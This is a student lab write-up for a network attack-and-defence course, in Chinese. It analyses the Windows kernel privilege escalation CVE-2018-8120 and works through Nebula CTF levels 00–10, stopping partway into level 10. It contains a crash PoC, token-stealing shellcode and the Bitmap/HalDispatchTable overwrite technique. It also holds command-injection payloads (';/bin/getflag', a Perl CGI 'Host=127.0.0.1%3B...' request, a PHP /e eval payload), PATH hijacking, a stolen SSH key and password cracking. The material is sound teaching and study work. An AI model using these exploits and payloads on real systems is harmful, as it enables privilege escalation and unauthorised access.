2018-2019-2 20165215《网络对抗技术》Exp10 Final Windows本地内核提权+Exploit-Exercises Nebula学习与实践

PART ONE :Windows本地内核提权

漏洞概述

在2018年5月,微软官方公布并修复了4个win32k内核提权的漏洞,其中的CVE-2018-8120内核提权漏洞是存在于win32k内核组件中的一个空指针引用漏洞,可以通过空指针引用,对内核进行任意读写,进而执行任意代码,以达到内核提权的目的。

漏洞原理

该漏洞的触发点就是窗口站tagWINDOWSTATON对象的指针成员域spklList指向的可能是空地址,如果同时该窗口站关联当前进程,那么调用系统服务函数NtUserSetImeInfoEx设置输入法扩展信息时,会间接调用SetImeInfoEx函数访问spklList指针指向的位于用户进程地址空间的零页内存。

如果当前进程的零页内存未被映射(事实上零页内存正常是不会被映射的),函数SetImeInfoEx的访问操作将引发缺页异常,导致系统BSOD;同样,如果当前进程的零页内存被提前映射成我们精心构造的数据,则有可能恶意利用,造成任意代码执行的漏洞。

漏洞复现

windbg调试本地内核

说明:Windbg是Microsoft公司免费调试器调试集合中的GUI的调试器,支持Source和Assembly两种模式的调试。Windbg不仅可以调试应用程序,还可以进行Kernel Debug。

该工具使得我们可以本地调试windows系统的内核,但是,本地调试内核模式不能使用执行命令、断点命令和堆栈跟踪命令等命令

1、使用管理员身份打开cmd,执行bcdedit /debug on, 开启调试模式

2、使用管理员权限打开windbg(一定是管理员权限,不然不起作用),然后依次选择File->Kernel Debugging->Local->确定

3、经过上面的设置基本就可以进行相关本地内核调试

查看SSDT表和SSDTShadow表

在windows操作系统中,系统服务(系统内核函数)分为两种:一种是常用的系统服务,实现在内核文件;另一种是与图形显示及用户界面相关的系统服务,实现在win32k.sys文件中。

全部的系统服务在系统运行期间都储存在系统的内存区,系统使用两个系统服务地址表KiServiceTable和Win32pServiceTable管理这些系统服务,同时设置两个系统服务描述表(SDT)管理系统服务地址表,这两个系统服务描述表ServiceDescriptorTable(SSDT)ServiceDescriptorTableShadow(SSDTShadow)

其中,前者只包含KiServiceTable表,后者包含KiServiceTable和Win32pServiceTable两个表,而且SDDT是可以直接调用访问的,SSDTShadow不可以直接调用访问。

SDT对象的结构体如下:

typedef struct _KSYSTEM_SERVICE_TABLE
{
        PULONG ServiceTableBase;         // 系统服务地址表地址
        PULONG ServiceCounterTableBase;   
        PULONG NumberOfService;          // 服务函数的个数
        ULONG ParamTableBase;            // 该系统服务的参数表
} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE;

通过windbg本地内核调试查看相关系统服务描述表实际结构分布:

分析:图中显示的是SDDT表和SSDTShadow表中的结构,每个表中的两行分别表示系统服务地址表KiServiceTable表和Win32pServiceTable表的相关数据信息。因为上面的是SSDT表,不包含Win32pServiceTable表,所以第一个表中第二行数据为空。

结合上面的结构体可以看出,KiServiceTable的地址是0x83cbfd9c,包含0x191个系统服务;Win32pServiceTable的地址是0x92696000,包含0x339个系统服务。

再查看系统服务地址表存储具体的内容:

分析:可以看出系统服务地址表中存储的都是四个字节的函数指针,这些指针指向的就是后面对应的系统服务函数

查看窗口站结构体信息

窗口站是和当前进程和会话(session)相关联的一个内核对象,它包含剪贴板(clipboard)、原子表、一个或多个桌面(desktop)对象等。

通过windbg来查看窗口站对象在内核中的结构体实例:

分析:上图就是窗口站tagWINDOWSTATION的结构体的定义,其中在偏移0x14处的spklList指针指向关联的键盘布局tagKL对象链表首节点

查看键盘布局的结构体定义

分析:键盘布局tagKL结构体中在偏移0x2c处的piiex指针指向关联的输入法扩展信息结构体对象,这也是SetImeInfoEx函数内存拷贝的目标地址。

当用户进程调用CreateWindowStation函数等相关函数创建新的窗口站时,最终会调用内核函数xxxCreateWindowStation执行窗口站的创建,但是在该函数执行期间,被创建的新窗口站实例的spklList指针并没有被初始化,指向的是空地址。

分析SetImeInfoEx函数

说明: 函数SetImeInfoEx是一个win32k组件中的内核函数,主要负责将输入法扩展信息tagIMEINFOEX对象拷贝到目标键盘布局tagKL对象的结构体指针piiex指向的输入法信息对象的缓冲区。

IDA加载win32k.sys组件并手动载入符号表

  • 选择File-->loadfile-->pdbfile,然后点击弹出窗口的OK选项
  • 在函数框中使用Ctrl+F查找SetImeInfoEx函数,并使用F5反编译出函数的伪代码

分析:从上面的伪代码中可以看出,函数SetImeInfoEx首先从参数a1指向的窗口站对象中获取spklList指针(a1是窗口站地址指针,偏移0x14就是spklList指针),也就是指向键盘布局链表tagKL首节点地址的指针;然后函数从首节点开始遍历键盘布局对象链表,直到节点对象的pklNext成员指回到首节点对象为止,函数判断每个被遍历的节点对象的hkl成员是否与源输入法扩展信息对象的hkl成员相等;接下来函数判断目标键盘布局对象的piiex成员(偏移0x2c)是否为空,且成员变量 fLoadFlag(偏移0x48) 值是否为 FALSE,如果上述两个条件成立,则把源输入法扩展信息对象的数据拷贝到目标键盘布局对象的piiex成员中。

把这段伪代码变得更易读一下~

BOOL __stdcall SetImeInfoEx(tagWINDOWSTATION *winSta, tagIMEINFOEX *imeInfoEx)
{
  [...]
  if ( winSta )
  {
    pkl = winSta->spklList;
    while ( pkl->hkl != imeInfoEx->hkl )
    {
      pkl = pkl->pklNext;
      if ( pkl == winSta->spklList )
        return 0;
    }
    piiex = pkl->piiex;
    if ( !piiex )
      return 0;
    if ( !piiex->fLoadFlag )
      qmemcpy(piiex, imeInfoEx, sizeof(tagIMEINFOEX));
    bReturn = 1;
  }
  return bReturn;
}

至此我们可以看出程序的漏洞:在遍历键盘布局对象链表 spklList 的时候并没有判断 spklList 地址是否为 NULL,假设此时 spklList 为空的话,接下来对 spklList 访问的时候将触发访问异常,导致系统 BSOD 的发生。

利用Poc验证漏洞

从之前的分析中,我们知道触发漏洞的条件是要将spklList指针指向空地址的窗口站关联到进程中。

具体实现就是先通过接口函数CreateWindowStation创建一个窗口站,然后调用NtUserSetImeInfoEx函数关联该窗口站和进程(NtUserSetImeInfoEx系统服务函数会调用SetImeInfoEx);因为NtUserSetImeInfoEx函数未导出,所以需要使用Malware Defender来hook得到序列号,再通过序列号计算出服务号

运行Malware Defender,选择钩子-->Win32k服务表,查看系统服务序列号

分析:NtUserSetImeInfoEx的系统服务号 = 0x1000+0x226(550的16进制) = 0x1226 ,其中 0x1000代表调用SSDTShadow中第二个表项中的系统服务函数(第一个表项的系统服务函数为0x0000)

使用windbg来查看SystemCallStub函数地址从而调用内核函数

Poc实现代码:

  #include <Windows.h>
  #include <stdio.h>
    __declspec(naked) void NtSetUserImeInfoEx(PVOID imeinfoex)
    {
      __asm {
          mov eax, 0x1226   //将NtUserSetImeInfoEx函数的服务号传入eax中
          mov edx, 0x7ffe0300  // 将SystemCallStub函数地址传入edx中
          call dword ptr[edx]  //调用SystemCallStub函数
          ret 0x04
      }
    }
    int main()
    {
      HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0);  //使用CreateWindowStation函数创建一个窗口站
      SetProcessWindowStation(hSta);          
      char ime[0x800];
      NtSetUserImeInfoEx((PVOID)&amp;ime);        //调用NtUserSetImeInfoEx函数触发漏洞,致使系统BSOD
      return 0;
    }

编译运行,成功触发漏洞,致使系统BSOD

漏洞利用

  • 原理:内核提权的常见方法是将当前进程的EPROCESS对象指针成员域Token替换为系统进程的Token指针,这相关的shellcode并不难写。但是所有进程的EPROCESS结构体都处于内核空间中,我们能控制的用户进程属于Ring3,并不能达到运行shellcode的要求,因此难点是需要使用Ring0权限去执行这段shellcode修改内核内存地址,这也就是我们利用CVE-2018-8120这个漏洞的原因。

分配零页内存

  • X86的Windows系统中,进程地址空间中从0x000000000x0000FFFF的闭区间被称为空指针赋值分区,也就是我们上面说的零页内存,正常情况下未被映射,强行对其访问则会出现漏洞Poc的情况,系统BOSD。
  • 为了函数SetImeInfoEx能够顺利向下执行,我们需要提前映射零页内存,这里我们利用ZwAllocateVirtualMemory函数对其进行映射,ZwAllocateVirtualMemory函数作用是在指定进程的虚拟空间中申请一块内存,该块内存默认以64kb大小对齐。以下是ZwAllocateVirtualMemory函数的函数原型:
NTSYSAPI NTSTATUS NTAPI ZwAllocateVirtualMemory (
IN HANDLE ProcessHandle,
IN OUT PVOID BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);

分析:将参数BaseAdress设置为0时,并不能在零页内存中分配空间,而是让系统寻找第一个未使用的内存块来分配使用。在AllocateType参数中有一个分配类型是MEM_TOP_DOWN,该类型表示内存分配从上向下分配内存。我们可以将参数BaseAddress指定为一个低地址同时指定分配内存的大小参数RegionSize的值大于这个地址值,如参数BaseAddress为1,参数RegionSize为8192,这样也就能成功分配,地址范围就是 0xFFFFE001(-8191)到 1把0地址包含在内了,此时再去尝试向 NULL指针执行的地址写数据,程序就不会异常了。在32位 Windows系统中,可用的虚拟地址空间共计为 2^32 字节(4 GB)。通常低地址的2GB用于用户空间,高地址的2GB 用于系统内核空间,通过这种方式我们发现在0地址分配内存的同时,也会在高地址(内核空间)分配内存。

分配零页内存,创建并设置窗口站

构造能够获取SYSTEM进程令牌的shellcode

每个进程都在内核中都会有且仅有一个EPROCESS结构,其中EPROCESS结构中的Token字段记录着这个进程的Token结构的地址,进程的很多与安全相关的信息是记录在这个TOKEN结构中的,所以如果我们想获得SYSTEM权限,就需要将拥有SYSTEM权限进程的Token字段的值找到,并赋值给我们创建的程序进程中EPROCESS的Token字段。

第一步,找到拥有SYSTEM权限的进程的EPROCESS结构地址

在Ring0中,fs寄存器指向一个叫KPCR的数据结构,该结构体中偏移量为0x120的地方是一个类型为_KPRCB的成员PrcbData

结构体_KPRCB中偏移量为0x004的地方存放着指向当前线程的_KTHREAD

通过查看_KTHREAD结构体和EPROCESS组成,我们知道_KTHREAD.ApcState.Process指向的就是当前进程的EPROCESS,所以我们获取当前进程EPROCESS的汇编代码可以写成

mov edx, 0x124;
mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread
mov edx, 0x50;
mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process
mov ecx, eax;// Copy current _EPROCESS structure

基于以上,我们已经明白如何获得自身进程的EPROCESS结构了,进一步需要做的是获得System进程的EPROCESS~

查看EPROCESS的ActiveProcessLinks成员,它是一个_LIST_ENTRY结构,在windows系统中,每创建一个进程系统内核就会为其创建一个EPROCESS,然后使EPROCESS.ActiveProcessLinks.Flink=上一个创建的进程的EPROCESS.ActiveProcessLinks.Flink的地址,而上一个创建进程的EPROCESS.ActiveProcessLinks.Blink=新创建进程的EPROCESS.ActiveProcessLinks.Flink的地址,构成了一个双向链表。所以找到一个进程就可以通过Flink和Blink遍历全部进程EPROCESS了,由于System进程是最先创建的进程之一,因此它必然在当前进程(我们编写的这个程序进程)之前,我们可以循环访问Flink,判断其PID是否为4(EPROCESS的UniqueProcessId成员指向其所属进程的PID)来判断其是否为SYSTEM进程

第二步,将SYSTEM进程的Token字段赋值给当前进程

查找获取HalDispatchTable表地址

  • 我们需要shellcode有ring0的权限去执行,可以修改一个具有ring0权限的函数指针为shellcode指针即可实现ring0权限执行shellcode。
  • 内核函数选择hal!HaliQuerySystemInformation函数,因为有一个调用它的函数(NtQueryIntervalProfile函数)是一个未文档化的函数,也就是一个不常用的函数这样我们覆盖它的函数指针后对于整个程序执行造成的影响会小一些,相对来说安全些。而且NtQueryIntervalProfile函数是在ntdll.dll中导出的未公开的系统调用,可以直接在Ring3调用

分析:在NtQueryIntervalProfile中调用KeQueryIntervalProfile函数

分析:从图中可以看出KeQueryIntervalProfile函数调用一个在HalDispatchTable+0x4处的指针,我们可以覆盖该指针使其指向shellcode,那么当调用NtQueryIntervalProfile时shellcode也就间接的可以在内核层0运行

需要用到的是HalDispatchTable+0x4地址,那么也就是需要找到HalDispatchTable的地址即可,我们可利用另一个未文档化的函数——NtQuerySystemInformation,此函数可帮助用户进程查询内核以获取有关OS和硬件状态的信息,这个函数没有导入库,我们需要使用GetModuleHandle和GetProcAddress在‘ntdll.dll‘的内存范围内动态加载函数。

分析:

  • NT内核文件的名字会因为单处理器和多处理器以及不同位数的操作系统版本以及是否支持PAE(Physical Address Extension)而不同,所以需要编程获取。

  • HalDispatchTable在内核中真正的地址需要使用加载模块的基地址+HalDispatchTable在该模块中的偏移来获取的。我们通过NtQuerySystemInformation获取了nt模块的基址kernelimageBase,通过计算用户空间中HalDispatchTable的地址-用户空间中nt模块的地址可以获得偏移。

利用Bitmap任意内存读写

  • 这是一种编写Exp对任意内存进行读写的方法技巧,越来越多地被应用于Exp的编写。简单的来说,这种技巧就是利用系统函数GetBitmapBitsSetBitmapBits可以对Bitmap内核对象中的pvScan0字段指向的内存地址进行读写操作,这样就可以通过pvScan0字段实现对任意内存的读写操作。

1. 首先创建两个Bitmap对象:gManger和个Worker;

创建一个Bitmap对象时,一个结构被附加到了进程PEB的GdiSharedHandleTable成员中, GdiSharedHandleTable是一个GDICELL结构体数组的指针 ,GDICELL结构的pKernelAddress成员指向BASEOBJECT(sizeof=0x10
)结构,BASEOBJECT结构后面的紧跟着SURFOBJ结构, SURFOBJ结构中偏移量为0x20处即为pvScan0字段

我们可以用以下方式找到Bitmap对象的内核地址

addr = PEB.GdiSharedHandleTable + (handle &0xffff) *sizeof(GDICELL) ;

通过如下代码获得gManger.pvScan0和gWork.pvScan0的地址

2. 利用CVE-2018-8120的任意内存写入漏洞,将gManger对象的pvScan0值修改成gWorker对象的地址;

基本前文的漏洞分析,我们知道SetImeInfoEx函数中若想执行qmemcpy,需跳过如下所示的while循环

 while ( pkl->hkl != imeInfoEx->hkl )
    {
      pkl = pkl->pklNext;
      if ( pkl == winSta->spklList )
        return 0;
    }

因此需要设置pkl->hkl = imeInfoEx->hkl,就是在零页地址位置伪造了一个和 tagIMEINFOEX 结构体 spklList 成员类型一样的 tagKL 结构体,然后把它的 hkl 字段设置为 wpv 的地址,之后再把 wpv 的地址放在 NtUserSetImeInfoEx 函数的参数 ime_info_ex 的第一个成员里面;指定pkl->piiex等于gManger.pvScan0的地址,也就是指定qmemcpy目的地址,这样执行qmemcpy之后,就可以把gWorker.pvScan0的值赋给gManger.pvScan0

注意:qmemcpy拷贝了0x15c个字节,势必会影响gManger.pvScan0之后的内存,后面调用Gdi32的 GetBitmapBits/SetBitmapBits 这两个函数就会不成功,因为这两个函数操作pvScan0的方式和SURFOBJ结构的 lDelta、iBitmapFormat、iType、fjBitmap 还有SURFACE结构的flags字段相关的,为了避免这个问题,我们需要在构造的ime_info_ex中填上一些数值进行修复

3. gManger对象调用SetBitmapBits函数将gWorker对象的pvScan0的值覆盖成HalDisptchTable+4的地址(HalDisptchTable表中对应偏移处存放着hal!HaliQuerySystemInformation() 函数指针);

4. gWorker调用GetBitmapBits函数获取HalDispatchTable+4所指内存的值,也就是hal!HaliQuerySystemInformation() 函数指针,存储起来;

5. gWork对象调用SetBitmapBits函数将HalDispatchTable+4处的函数指针覆盖成shellcode函数指针;

6. 在用户进程中调用系统API函数NtQuerySystemInformation,进而调用HalDisptchTable表中的hal!HaliQuerySystemInformation() 函数指针,也就是执行shellcode;

7. gWorker调用SetBitmapBits函数将HalDisptchTable+4的地址处的hal!HaliQuerySystemInformation() 函数指针还原,保证下面的运行不出错;

Exp利用漏洞

打开cmd,进入Exp-CVE-2018-8120.exe所在的目录并执行,引号内为想要执行的命令

相关名词

Token

令牌的角色:访问令牌主要负责描述进程或线程的安全上下文,包括关联的用户、组和特权。根据这些信息,Windows内核可以对进程请求的特权操作做出访问控制决策。令牌通常是内核对象并且与特定的进程或线程相关联。在用户空间中,它们由句柄(用户识别码/用户名称)唯一标识。

进程令牌:进程令牌分为primary tokens (主令牌)和 impersonation tokens(模拟令牌)两种,在windows中所有进程都有一个关联的主令牌,其中规定了对应进程的特权,创建新进程时,子进程默认继承父进程的主令牌。

线程令牌:Windows是一个多线程操作系统,一个进程至少拥有一个线程。默认情况下,线程将在与父进程相同的安全上下文中运行primary tokens。然而,Windows引入了impersonation tokens,它允许线程在给定不同的访问令牌的情况下临时模拟不同的安全上下文。此功能最常见的用途是使应用程序开发人员能够允许用Windows内核来处理大部分的访问控制。比如,当FTP服务器作为服务帐户运行时,如果没有模拟,服务器就必须将客户端关联的用户名、组和文件、目录的ACL(访问控制表)进行对比后手动执行,模拟则允许这些工作在确保服务线程是在客户端用户帐户的安全上下文中执行后交由Windows内核执行,这可以看做windows下类型UNIX系统中setuid()函数。

安全级别
Token可以有Anonymous 、Identify 、Impersonate 、Delegate四种不同的安全级别,其中Impersonate 和Delegate级别影响最大, Impersonate级别允许线程在本地系统上模拟令牌的安全上下文,但不允许使用该令牌访问外部系统,而Delegate级别允许线程在任何系统上模拟令牌的安全上下文,因为它存储相关的身份验证凭证。

参考资料

BSOD

蓝屏是Windows中用于提示严重的系统报错的一种方式,蓝屏一旦出现,Windows系统便宣告终止,只有重新启动才能恢复到桌面环境,所以蓝屏又称为蓝屏终止(Blue Screen Of Death),简称BSOD

——《0day安全 软件漏洞分析技术(第二版)》第21章 探索Ring0

参考资料

PART TWO :Exploit-Exercises Nebula学习与实践

前言

Exploit-Exercises是一个Linux平台下漏洞挖掘、分析的练习平台,官方提供了三种不同级别的平台,Nebula、Protostar和Fusion,分别是用来学习基础提权、溢出和高级攻击技术。

如何使用Nebula

  • Nebula最高权限的账户是nebula,密码也是nebula,如果某一关涉及到修改系统配置,那么我们可以通过切换到nebula用户来修改

  • 每一Level都对应一个levelxx账号,密码与账号名相同,在完成每一关的题目之前,需要用对应的账号登录系统,与该题目相关的内容存放在/home/flagxx中 的。比如:第一关账号是level00,密码level00,然后用这个账号登录到系统并进入/home/flag00,如果这关需要攻击有漏洞的程序,那么相应的程序放在此目录中

  • 使用命令su - levelxx切换登录账号

  • 每一关提权成功之后,需要执行/bin/getflag/,如果提权是成功的,会提示“You have successfully executed getflag on a target account”,否则提示“getflag is executing on a non-flag accont, this doesn't count”

Level00——寻找特权程序

题目

This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.

解题思路

1、根据题目提示,本关需要在系统中搜索一个设置SUID的程序,这个程序是以flag00身份运行的,因此使用find命令在根目录下查找所有人和所有组都是flag00的文件

2、由于当前用户是level00,在进一些没有权限进入的目录进行搜索的时候,是会出错的,并且Linux标准输入、标准输出和错误分别对应文件描述符0、1和 2,所以用参数2>/dev/null将错误输出到/dev/null这个空白设备里

3、搜索完成后执行发现的程序

Level01——攻击环境变量

题目

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

源代码

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();
  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);
  system("/usr/bin/env echo and now what?");
}

解题思路
1、首先观察该程序的执行效果,结果为输出and now what?

2、分析程序源代码,我们可以看到程序调用setresuid()设置调用进程的真实用户ID,有效用户ID和保存的set-user-ID,调用setresgid()设置真正的GID,有效的GID和保存的set-group-ID;但上面这些并不是重点,关键点在于 system("/usr/bin/env echo and now what?"),程序使用system函数执行指定的shell命令,而此处存在的漏洞在于echo是由env定位找到;因为env用来执行当前环境变量下的命令或者显示当前的环境变量,也就是说env会依次遍历$PATH中的路径,执行第一次找到的echo命令,所以我们只要修改$PATH,就可以欺骗env,继而使得代码中的system执行我们的命令。

3、由于/tmp目录对任何用户都有完整的权限,因此我们可以使用命令ln -s /bin/getflag /tmp/echo让/tmp/echo链接到/bin/getflag上

4、使用命令export PATH=/tmp:$PATH修改环境变量,将tmp路径放在前面,这样env会首先在/tmp下找到echo并执行

Level02——可执行任意文件漏洞

题目

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

源代码

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
  char *buffer;
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();
  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);
  buffer = NULL;
  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);
  
  system(buffer);
}

解题思路
1、同理先观察该程序的执行效果

2、分析源代码,可看到buffer变量是经过asprintf拼接而成,而asprintf的第二个参数调用了getenv函数去获得环境变量USER的值(USER里是当前登录的用户名),有了上一关的经验,我们不难想到可以把USER变量替换成;/bin/getflag,等于是在执行完echo语句后,紧接着就执行/bin/getflag了(执行多条命令用“;”隔开)

level03——计划任务

题目

Check the home directory of flag03 and take note of the files there. There is a crontab that is called every couple of minutes.

解题思路
1、通过查看crontab设置,可知它每隔2分钟执行/home/flag03目录下的writable.sh

2、查看writable.sh中的内容

3、这段代码的含义是:每执行一次writable.sh,writable.sh就自动执行writable.d里的所有文件,之后再删除这个脚本。通过ls -l命令我们可以看到writable.d这个目录任何人可读可写,所以只需将我们想进行的操作写进writable.d里,等着它自动运行可以了

4、在writable.d的目录下创建一个run脚本,使用echo语句向run中写入内容,并赋予run脚本777权限(可读可写可执行)

5、等待两分钟,我们在/tmp目录下发现5215zjj这个文件,说明writable.d里的run已经被自动执行

Level04——绕过限制获得 token

题目

This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it

根据提示,我们需要读取token,但目前权限阻止我们读取代码,因此需要找到方法绕过限制

解题思路
1、使用ls -l命令查看token的权限为-rw-------,所属用户是flag04,也就是除root权限外,只有flag04这个用户可以对它进行读取操作,同一目录下另一个程序flag04却属于用户组flag04,因此我们查看flag04的源代码

flag04源代码:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));
  
  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}

2、我们注意到程序的核心在于strstr函数,该函数从输入的参数1中寻找“token”第一次出现的位置,返回指向第一次出现“token”位置的指针,如果没有找到则返回null。因此,只要我们保证文件名里不包含“token”字符串,就可以绕过这个限制,继续执行程序中的open操作。

3、参照前面关卡中用到的软连接,将token连接到/tmp/level04下,然后执行程序flag04时后面的参数设为新建的/tmp/level04,读出的token就是flag04这个账号的密码,切换登录账号并执行/bin/getflag

Level05——窃取机密文件

题目

Check the flag05 home directory. You are looking for weak directory permissions

根据提示我们需要找到一个弱权限的目录,然后通过它来提权

解题思路
1、使用ls -al命令,列出目录/home/flag05下所有文件权限

2、可以看到这里有两个比较重要的文件,分别是.backup和.ssh,但是level05这个账号对.ssh的权限不够,所以我们先进入.backup文件查看;.backup里有个压缩文件,我们解压到/tmp中查看(因为没有写入权限,所以不可解压到当前目录)

3、解压后发现里面的内容是ssh的备份,包含用户的公私钥;因此拷贝该ssh目录到当前用户下,使用ssh [-l login_name] [-p port] [user@]hostname登录flag05账户

4、登录成功后,执行/bin/getflag即可过关~

Level06——破解 Linux登录密码

题目

The flag06 account credentials came from a legacy unix system.

解题思路
1、unix的账户系统中,用户名和密码密文都是放在/etc/passwd文件中的,而linux系统中的用户名放在/etc/passwd,而密码则在/etc/shadow中

2、读取/etc/passwd里flag06账户的密码密文

3、使用kali中自带的破解工具john解密该段密文,得到密码明文为hello,登录flag06账号,通关成功~

Level07——Perl脚本可执行任意文件漏洞

题目

The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.

解题思路
1、flag06文件夹下index.cgi和thttpd.conf两个文件,查看配置文件thttpd.conf看到显示开放的端口号是7007

2、分析index.cgi文件源代码

#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
  $host = $_[0];

  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; }

  print("</pre></body></html>");
  
}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

这段代码调用外部Ping命令 @output = `ping -c 3 $host 2>&1`;去发送3个数据包给目的ip,ip是通过 $host = $_[0];获得,最后一行代码ping(param("Host"));决定参数Host首字母是大写,最后程序会把ping的结果返回到客户端的浏览器中;

这段Perl脚本的漏洞出现在代码@output = `ping -c 3 $host 2>&1`;中,此处出现了可执行任意文件漏洞,因为在Perl中“(Tab键上的那个键)”符号之间的内容是调用的外部命令。

3、我们可以利用这个漏洞在输入主机参数的同时,用;再接上我们想执行的提权指令,在执行该操作前,先使用wget http://localhost:7007/index.cgi?Host=127.0.0.1%3Bwhoami确认cgi程序的权限

4、上图我们可以看到显示结果中的最后行多出个“flag07”,说明当前程序是以flag07身份执行的,接着我们便可以输入wget http://localhost:7007/index.cgi?Host=127.0.0.1%3B/bin/getflag命令通关啦~

level08——TCP数据包分析

题目

World readable files strike again. Check what that user was up to, and use it to log into flag08 account.

解题思路
1、使用level8账户登录后,进入/home/flag08文件夹下看到里面只有一个名为capture.pcap的数据包,显而易见,我们需要使用wireshark对这个数据包进行分析。许多教程都是使用kali的sftp功能转移数据包,而我因为配不好练习环境的ip地址,最终通过参考教程使用挂载u盘的方式转移数据包

2、使用wireshark打开这个抓包文件,可以看到全部是TCP协议的数据包,任选一个数据包,右键->跟踪流->TCP流

3、我们可以看出这个包是关于交互式登录的,接着使用Hex dump方式看password字段

4、查询ASCII码表,可知知7f是del(删除)的ASCII码,od是回车符的ASCII码,用户输入密码的过程可理解为:输入backdoor后删除了三个字符,然后接着输入00Rm8又删除了一个字符,最后输入ate并摁下回车键,因此正确的密码应为backd00Rmate

5、使用用户名flag08,密码backd00Rmate登录账户,执行/bin/getflag通关成功

level09——攻击php代码

题目

There’s a C setuid wrapper for some vulnerable PHP code…

souse code

<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);
  
  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

解题思路
1、首先了解下preg_replace()函数的功能

2、分析题目中的PHP代码,可知这段程序让我们传入文件名作为参数,然后通过命令 $contents = file_get_contents($filename);获取文件内容,并将文件内容中的“.”替换成“dot”,“@”替换成“AT”,在tmp目录下创建一个文件zjj,验证一下以上分析

3、此段代码的漏洞在于$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);,在第一个参数后面加上了/e,启用/e模式,意味着第二个参数会被作为代码执行,因此若第二个参数为提权指令的话,我们就可以过关

4、修改/tmp/zjj文件中的内容为[email "{${system(getflag)}}"]并执行,通关成功~

level10——访问竞态条件漏洞

题目

The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.

源代码

 #include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}

解题思路
1、分析代码,我们可以看出程序首先用access()函数判断当前用户是否有操作文件的权限,有的话则执行相关操作即上传文件,否则就会输出"You don't have access to <文件名>",access()函数的具体详细说明如下图

2、继续分析代码,这段代码建立了一个socket连接,连接到18211端口上,然后发送一个“banner”(内容是”.oO Oo.\n”),之后open指定的文件,如果打开成功,就把内容发送到建立的通信连接中

3、这个程序的漏洞在于access()函数和open()函数是通过文件路径名作为参数的,而这个路径可能是一个链接文件。假设access一个/tmp/zjj文件,而在access操作之后、open操作之前,/tmp/zjj被替换成了一个指向其他文件(如/etc/passwd)链接文件,,并且这个进程有对/etc/passwd操作的权限,那么它最终所操作的并不是真正的/tmp/zjj,而是/etc/passwd;基于以上,我们有大致的攻击思路:首先在本地监听18211端口,然后让flag10程序去access一个当前用户有权限访问的文件(/tmp/zjj),最后删除掉/tmp/zjj,重新建立一个指向/home/flag10/token的链接文件

